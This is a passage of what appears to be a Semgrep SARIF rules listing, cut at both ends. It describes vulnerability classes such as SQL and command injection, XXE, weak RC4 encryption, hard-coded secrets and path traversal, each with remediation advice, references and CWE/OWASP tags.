CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","id":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","name":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","id":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","name":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Oracle update is not restricted in $F()"},"help":{"markdown":"Oracle update is not restricted in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control)\n - [https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0](https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0)\n","text":"Oracle update is not restricted in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","id":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","name":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"help":{"markdown":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use)\n - [https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html](https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html)\n - [https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation](https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation)\n - [http://phrack.org/papers/escaping_the_java_sandbox.html](http://phrack.org/papers/escaping_the_java_sandbox.html)\n","text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"helpUri":"https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use","id":"java.lang.security.do-privileged-use.do-privileged-use","name":"java.lang.security.do-privileged-use.do-privileged-use","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.do-privileged-use.do-privileged-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","id":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","name":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli)\n - [https://www.npmjs.com/package/mssql](https://www.npmjs.com/package/mssql)\n","text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","id":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","name":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string","id":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","name":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"help":{"markdown":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation)\n - [https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib](https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib)\n","text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"helpUri":"https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation","id":"python.requests.security.disabled-cert-validation.disabled-cert-validation","name":"python.requests.security.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","id":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","name":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"help":{"markdown":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","id":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","name":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"help":{"markdown":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","id":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","name":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal","id":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","name":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal.laravel-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","id":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","name":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","id":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","name":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","id":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","name":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 